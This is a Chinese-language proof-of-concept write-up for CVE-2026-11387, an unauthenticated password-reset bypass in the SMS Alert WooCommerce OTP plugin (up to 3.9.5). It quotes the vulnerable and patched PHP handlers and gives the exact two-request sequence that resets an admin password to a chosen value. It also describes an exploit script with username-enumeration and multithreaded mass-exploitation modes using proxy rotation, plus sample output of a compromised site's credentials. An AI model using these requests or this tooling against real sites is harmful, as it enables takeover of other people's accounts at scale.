☆ 未认证权限提升 — 通过任意密码重置 ☆
=== Beelze ===
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-11387 |
| CVSS 评分 | 9.8 严重 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 类型 | 缺少身份验证 / OTP 绕过 |
| 插件 | SMS Alert – WooCommerce OTP 验证 (sms-alert) |
| 受影响版本 | ≤ 3.9.5 |
| 修复版本 | 3.9.6 |
| 发布年份 | 2026 |
| PoC 作者 | Beelze |
SMS Alert – WooCommerce OTP 验证插件 ≤ 3.9.5 存在 未认证权限提升 漏洞,可通过任意密码重置实现。该插件的密码重置处理器仅通过检查 $_REQUEST['option'] 中是否包含字符串 smsalert-change-password-form 来验证重置操作,而并未验证 OTP 质询是否已完成。
会话种子机制中存在一个关键的竞态条件,允许攻击者通过两次 HTTP 请求劫持任意账户:
user_login —— 这将触发 smsalert_site_challenge_otp(),它会在 未验证任何 OTP 的情况下 设置 $_SESSION['user_login']。option=smsalert-change-password-form 并附上选定的新密码 —— routeData() 读取预先种下的 $_SESSION['user_login'] 并无条件调用 reset_password()。影响:完全未认证接管任何注册了账单电话号码的用户。攻击者以受害者角色和权限获得持久访问。
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp', [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
$user_login = sanitize_text_field( $_REQUEST['user_login'] );
$user = get_user_by( 'login', $user_login )
?: get_user_by( 'email', $user_login );
if ( $user ) {
// ❌ $_SESSION['user_login'] 在此处设置 —— 在 OTP 验证之前
$_SESSION['user_login'] = $user->user_login;
$_SESSION['smsalert_otp'] = $this->generate_otp();
$_SESSION[self::SESSION_VAR] = 'otp_sent'; // 不是 'validated'
$this->send_otp( $user );
}
}
// handler/forms/class-wpresetpassword.php
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ❌ 缺少:if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
$this->reset_password();
}
}
// handler/forms/class-wpresetpassword.php
private function reset_password() {
$user_login = $_SESSION['user_login'] ?? ''; // 被 smsalert_site_challenge_otp() 污染
$new_pass = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
$confirm = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );
if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }
$user = get_user_by( 'login', $user_login );
if ( $user ) {
wp_set_password( $new_pass, $user->ID ); // ✅ 密码已更改 —— 无需 OTP
wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
exit;
}
}
// handler/forms/class-wpresetpassword.php (已修复)
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ✅ 已修复:重置前必须验证 OTP
if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
wp_die( 'OTP 验证是必需的。' );
}
$this->reset_password();
}
}
攻击者(未认证)
│
│ POST /my-account/lost-password/
│ body: user_login=admin
▼
┌─────────────────────────────────────────┐
│ smsalert_site_challenge_otp() │
│ → $_SESSION['user_login'] = 'admin' │ ← 会话已被污染 💀
│ → $_SESSION[SESSION_VAR] = 'otp_sent' │
│ → OTP 发送至受害者手机 │
│ (攻击者从未看到 OTP) │
└─────────────────────────────────────────┘
│
│ POST /my-account/lost-password/
│ body: option=smsalert-change-password-form
│ smsalert_user_newpwd=Pwned123!
│ smsalert_user_cnfpwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ routeData() │
│ → 仅检查 $_REQUEST['option'] │
│ → SESSION_VAR 检查:跳过 ❌ │
│ → 调用 reset_password() │
│ → wp_set_password('admin', newpwd) │ ← 密码已更改 😈
└─────────────────────────────────────────┘
│
│ POST /wp-login.php
│ log=admin pwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ 登录成功 │
│ 设置 wordpress_logged_in_* cookie │ ← 确认接管 💀
└─────────────────────────────────────────┘
# 单个目标利用
python CVE-2026-11387.py
# → 模式 1,输入目标 URL 和用户名
# 仅枚举用户名
python CVE-2026-11387.py
# → 模式 2
# 大规模利用(多线程 + 代理轮换)
python CVE-2026-11387.py
# → 模式 3,targets.txt,线程数,代理文件
# 仅指纹识别(不执行利用)
python CVE-2026-11387.py
# → 模式 4,输出 CSV
利用阶段:
阶段 1 — 可达性检查 + HTTP 回退
阶段 2 — 通过 readme.txt 获取版本指纹
阶段 3 — 用户名枚举(REST API / 站点地图 / 作者归档)
阶段 4 — OTP 质询触发(会话污染)
阶段 5 — 通过 routeData() 绕过重置密码
阶段 6 — 登录验证(wordpress_logged_in_* cookie)
示例输出(scan_results/CVE-2026-11387_success.txt):
[2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa
将 SMS Alert 更新至 版本 3.9.6 或更高版本。
[Beelze] — 仅供教育和授权安全研究使用